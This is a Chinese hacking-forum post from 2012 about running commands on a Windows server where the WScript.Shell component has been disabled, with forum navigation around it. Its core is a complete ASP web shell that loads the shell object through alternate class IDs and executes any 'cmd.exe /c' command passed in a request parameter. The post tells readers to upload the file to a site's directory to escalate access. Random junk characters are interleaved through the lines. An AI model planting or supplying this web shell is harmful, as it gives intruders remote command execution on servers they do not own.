找回密码
 立即注册
查看: 2278|回复: 0
打印 上一主题 下一主题

wscript.shell删除解决办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:36:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
8 u4 Z6 C% p1 W& K! i7 {一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。' d; P- `+ T; W; B3 o; H
要想让运行命令可以试试这种方法,成功率为五五之数。- G! G- s0 e& }; U! |! o
把下面代码复制:( \4 m* H2 L* t8 ?, h
<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
, V+ r) {/ g! M; p, r" @  ^* w: G<%if err then%>
/ }, A5 p, p6 O! S& V( U<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>& l5 z2 P, X0 ~* S
<%
$ y* C& s& q% `/ f# T9 A" r: Mend if8 Z; w* t$ u" d8 X9 E* K
response.write("<textarea readonly cols=80 rows=20>")
  g- y# A# }: nOn Error Resume Next8 E( ^, K6 _; Y3 s" W
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall5 L- Y* ?$ z* O: ~  ]1 t6 c
response.write("</textarea>")
. a2 e# W7 B3 t4 O9 S& R8 ^response.write("<form method='post'>")! Q" l8 |" u) D/ G' U2 X) Y; N
response.write("<input type=text name='c' size=60><br>")
8 w* P+ |( r/ o0 S0 D, gresponse.write("<input type=submit value='执行'></form>")9 f6 t7 e8 J0 p% T! q3 q
%>
) o% p9 w+ w* I  C+ ^9 M4 t% Y8 R$ a! x( |6 j- t! v9 P; Y0 x
保存为一个asp文件,然后传到网站目录上去
2 G8 {2 a% {3 p3 s1 Z运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
- L; ^. E/ q, a, M. k! L6 w- x1 x我用此成功运行过cacls命令。
# z1 q- B5 M6 }6 S. u* b. y
) e8 t" B* h8 O( N/ a# ]第二那就是运行时出错,可能限制某些代码执行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表